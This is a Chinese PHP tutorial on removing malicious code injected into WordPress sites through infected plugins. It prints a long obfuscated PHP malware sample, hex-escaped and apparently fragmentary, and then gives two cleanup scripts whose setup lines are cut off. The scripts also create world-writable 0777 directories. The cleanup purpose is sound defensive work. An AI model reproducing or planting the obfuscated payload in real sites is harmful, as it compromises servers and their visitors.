PHP实现清除wordpress里恶意代码_php技巧

公司一些wordpress网站由于下载的插件存在恶意代码，导致整个服务器所有网站PHP文件都存在恶意代码，就写了个简单的脚本清除。

恶意代码示例

!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]621:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#!#]y81]273]y>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#^#zsfvrx5c%x7827&6hmg%x5c%x7825!j%%x5c%x7825:|:**t%x5c%xW~!%x5c%x7825z!>215b:%x5c%x7825s:%x5cw>#]y74]273]y76]252]y85]256]y6g]257]y8!:8:|:7#6ufs!|ftmf!~!#]y81]273]y76]258]y6g]273]#*%x5c%x7824-%x5c%x7824!>!tus%x5x782fq%x5c%x7825>2q%x5c%x7825%x5c%x782f7rfs%x5c%x78256!%x5c%x7824c%x7825c!>!%x5c%x7825i%x5c%x785c2^n%x5c%x7825!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-%7825)m%x5c%x7825=*h%x5c%x78254%x5c%x785c%x5c%x7825j^%x527,*e%x5c%x7827,*d%x5c%x7827,*cmfV%x5c%x787fu%x5c%x!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7or_reporting(0); preg_replace("%x2f%ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y76]258]y6g]273]y76]271]y7d]25%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%xS["%x61%156%x75%156%x61"]=1; function f:h%x5c%x7825:!2p%x5c2fh%x5c%x7825:%x5c%x7825fdyUm%x5c%x5c%x7825!qp%x5c%x7825!|Z~!!2p%x5c%x7825!|!*!***b%x5#P#-#Q#-#B#-#T#-#E#-#G#-#x787fw6*%x5c%x787f_*#fmjgk4%x5*WCw*[!%x5c%x7825rN}#QwTW%xc%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#50%x2e%52%x29%57%x65","%x65%166%x61%154%x28%151%x6d%160%x6c%25)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%7827pd%x5c%x78256b%x5c%x7825!*##>>X)!gjZb%x5c%x7825!**X)ufttj%x7825c:>11%x5c%x782272qj%x5c%x7825)7gj6!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x787f!>x7825!>}R;msv}.;%x5c%x782f#%xc%x78b%x5c%x7825w:!>!%x5c%x78246767~6>%x5c%|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tujQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x78!2p%x5c%x78uft%x5c%x7860msvd},;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x7860ufldpt}X;%x5c%x78#%x5c%x785cq%x5c%x78257**^#zsfvr#%x5c%x785cq%x5c%x7825)uftc%x7825tpz!>!#]D6M7]K3#}>!%x5c%x7825tdz)%x5c%x7825ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x782560msvd}R;*msv%x5c%x7825)}.;%x5c%x7860UQP78W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x55c%x787fw6>%x5c%x7822!ftmbg)!gj]58y]472]37y]672]48y]#>s%x5c%x7825q5c%x7825)!gj!2bd%x5c%x7825!2qj%x5c%x78257-K)udfoopdXA%x54!#]y76]277]y72]265]y39]274]y85]273]y66<.4>1?*2b%x5c%x7825)gpf{jt)!gj!:r7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#>2*!%x5c%x7825z>3j%x5c%x7825!*72!%x5c%x7827!hmg%x-t.98]K4]65]D8]86]y31]278]y3f]5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!!#]y84]275]y83]248]y83]256c%x7825V%x5c%x7827{ftmfV%x5c%x787f%x5c%x782f7&%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjud7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x5c%x7825)hopm3qjA)qj3hopmA%x578Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x78782fqp%x5c%x7825>5h%x5c%4-%x5c%x7824y7%x5c%x7824-%>!}W;utpi}Y;tuofuopd%x5c%x7tsbqA7>q%x5c%x78256%x5c%x7897e:56-%x5c%x7878r.985:52985c%x7825kj:-!OVMM*#L4]275L3]248L3P6L1M5]D2P4]D6#>1*!%x5c%x7825b:]y4c#!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%e56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTbek!~!bjepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kV%x5c%x7878{**#cvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*q%x5c%x7825V>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!5)sf%x5c%x7878pmpusut)tpqssutRe%x5c%x7825)Rd%x5c%x7%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~#]y31]278]y3e]81]K78:569x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWtj%x5c%x7822)gj6!%x5c%x782400~:Ew:Qb:Qc:]37]278]225]241]334]368]322]3]364]6]283]2178}527}88:}334}472%x55c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp%x5c%x7825)5c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#00;quui#>.5j:>11%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%x782x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x782{66~6j%x5c%x7825!*3!%x5c%x7827c%x78256!#]y84]275]y83]273]y76]277#2b%x5c%7825%x5c%x7827Y%x5c%x78256<.msv>EzH,2W%x5c%x7825wN;#-Ez-1H9%164%50%x22%134%x78%62%x35%165%x3a%146%x21%76%x5fdy)##-!#~2%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#

恶意代码清理程序

@si');  #定义需要过滤的恶意代码规则
$search_count = array(
  'all_file'=>array(), #所有文件
  'search_file0'=>array(),   #没有恶意代码文件
  'search_file1'=>array() #含有恶意代码文件
);

$filelist = listDir($path,$fileType,false); #读取目录里符合条件文件列表
if(!empty($filelist)){
  foreach ($filelist as $file){
    $file = (isset($file['name'])?$file['name']:$file);
    $search_count['all_file'][] = $file;
    $fileContent = file_get_contents($file);
    $compile_fileContent = preg_replace($search, '', $fileContent);
    if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){
      #过滤后文件长度不一致，则表示含有恶意代码（备份文件所在目录不过滤）
      $search_count['search_file1'][] = $file;
       
      ############备份原有文件 开始###############
      $bakFile = str_replace($path, $bak_path, $file);
      @make_dir(dirname($bakFile));
      @file_put_contents($bakFile, $fileContent);
      ############备份原有文件 结束###############
       
      #重新写入过滤后的内容到原有的PHP文件
      @file_put_contents($file, $compile_fileContent);
    }else{
      $search_count['search_file0'][] = $file;
    }
  }
}
 
#print_r($search_count);die;
echo sprintf('从%s里共搜索到%s个符合条件的文件，其中%s个存在恶意代码，已处理结束',$path,count($search_count['all_file']), count($search_count['search_file1']));die;

########################
## 辅助函数
########################
 
/**
 * 检查目标文件夹是否存在，如果不存在则自动创建该目录
 *
 * @access   public
 * @param    string   folder   目录路径。不能使用相对于网站根目录的URL
 *
 * @return   bool
 */
function make_dir($folder){
  $reval = false;
  if (!file_exists($folder)){
    #如果目录不存在则尝试创建该目录
    @umask(0);
 
    #将目录路径拆分成数组
    preg_match_all('/([^\/]*)\/?/i', $folder, $atmp);
 
    #如果第一个字符为/则当作物理路径处理
    $base = ($atmp[0][0] == '/') ? '/' : '';
 
    #遍历包含路径信息的数组
    foreach ($atmp[1] AS $val){
      if ('' != $val){
        $base .= $val;
        if ('..' == $val || '.' == $val){
          #如果目录为.或者..则直接补/继续下一个循环
          $base .= '/';
          continue;
        }
      }else{
        continue;
      }
 
      $base .= '/';
 
      if (!file_exists($base)){
        #尝试创建目录，如果创建失败则继续循环
        if (@mkdir(rtrim($base, '/'), 0777)){
          @chmod($base, 0777);
          $reval = true;
        }
      }
    }
  }else{
    #路径已经存在。返回该路径是不是一个目录
    $reval = is_dir($folder);
  }
 
  clearstatcache();
 
  return $reval;
}

########获取目录下所有文件，包括子目录 开始################
function listDir($path,$fileType=array(),$fileInfo=true){
  $path = str_replace(array('/','\\'), DIRECTORY_SEPARATOR, $path);
  if(!file_exists($path)||!is_dir($path)){
    return '';
  }
  if(substr($path, -1,1)==DIRECTORY_SEPARATOR){
    $path = substr($path, 0,-1);
  }
  $dirList=array();
  $dir=opendir($path);
  while($file=readdir($dir)){
    #若有定义$fileType，并且文件类型不在$fileType范围内或文件是一个目录，则跳过
    if($file!=='.'&&$file!=='..'){
      $file = $path.DIRECTORY_SEPARATOR.$file;
      if(is_dir($file)){
        if(empty($fileType)){
          $dirList[] = ($fileInfo==true?array('name'=>$file,'isDir'=>intval(is_dir($file))):$file);
        }
        $dirList = array_merge($dirList,listDir($file,$fileType));
      }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){
        $dirList[] = ($fileInfo==true?array('name'=>$file,'isDir'=>intval(is_dir($file)),'md5_file'=>md5_file($file),'filesize'=>filesize($file),'filemtime'=>filemtime($file)):$file);
      }
    };
  };
  closedir($dir);
  return $dirList;
}
########获取目录下所有文件，包括子目录 结束################

删除FTP里恶意代码(支持任意数量的文件处理)

@si');  #定义需要过滤的恶意代码规则
$file_count = array(
  'all_file'=>0,  #所有文件
  'filter_file'=>0   #含有恶意代码文件
);

replaceUnwantedCode($path); #执行过滤

#print_r($search_count);die;
echo sprintf('从%s里共搜索到%s个符合条件的文件，其中%s个存在恶意代码已清理，原始文件保存在%s',$path, ($file_count['all_file']), ($file_count['filter_file']), $bak_path);die;

function replaceUnwantedCode($path){
  global $bak_path,$fileType,$search,$file_count;
  $path = str_replace(array('/','\\'), DIRECTORY_SEPARATOR, $path);
  if(!file_exists($path)||!is_dir($path)){
    return '';
  }
  if(substr($path, -1,1)==DIRECTORY_SEPARATOR){
    $path = substr($path, 0,-1);
  }
  $dir=opendir($path);
  while($file=readdir($dir)){
    #若有定义$fileType，并且文件类型不在$fileType范围内或文件是一个目录，则跳过
    if($file!=='.'&&$file!=='..'){
      $file = $path.DIRECTORY_SEPARATOR.$file;
      if(is_dir($file)){
        replaceUnwantedCode($file);
      }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){
        ################################
        @$file_count['all_file']++;
        $fileContent = file_get_contents($file);  #文件原始代码
        $compile_fileContent = preg_replace($search, '', $fileContent); #过滤后的内容
        if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){
          #过滤后文件长度不一致，则表示含有恶意代码（备份文件所在目录不过滤）
          $file_count['filter_file']++;
             
          ############备份原有文件 开始###############
          $bakFile = str_replace($path, $bak_path, $file);
          @make_dir(dirname($bakFile));
          @file_put_contents($bakFile, $fileContent);
          ############备份原有文件 结束###############
             
          #重新写入过滤后的内容到原有的PHP文件
          @file_put_contents($file, $compile_fileContent);
        }
        ################################
        unset($fileContent,$compile_fileContent);
      }
    };
  };
  closedir($dir);
  return true;
}

########################
## 辅助函数
########################
 
/**
 * 检查目标文件夹是否存在，如果不存在则自动创建该目录
 *
 * @access   public
 * @param    string   folder   目录路径。不能使用相对于网站根目录的URL
 *
 * @return   bool
 */
function make_dir($folder){
  $reval = false;
  if (!file_exists($folder)){
    #如果目录不存在则尝试创建该目录
    @umask(0);
 
    #将目录路径拆分成数组
    preg_match_all('/([^\/]*)\/?/i', $folder, $atmp);
 
    #如果第一个字符为/则当作物理路径处理
    $base = ($atmp[0][0] == '/') ? '/' : '';
 
    #遍历包含路径信息的数组
    foreach ($atmp[1] AS $val){
      if ('' != $val){
        $base .= $val;
        if ('..' == $val || '.' == $val){
          #如果目录为.或者..则直接补/继续下一个循环
          $base .= '/';
          continue;
        }
      }else{
        continue;
      }
 
      $base .= '/';
 
      if (!file_exists($base)){
        #尝试创建目录，如果创建失败则继续循环
        if (@mkdir(rtrim($base, '/'), 0777)){
          @chmod($base, 0777);
          $reval = true;
        }
      }
    }
  }else{
    #路径已经存在。返回该路径是不是一个目录
    $reval = is_dir($folder);
  }
 
  clearstatcache();
 
  return $reval;
}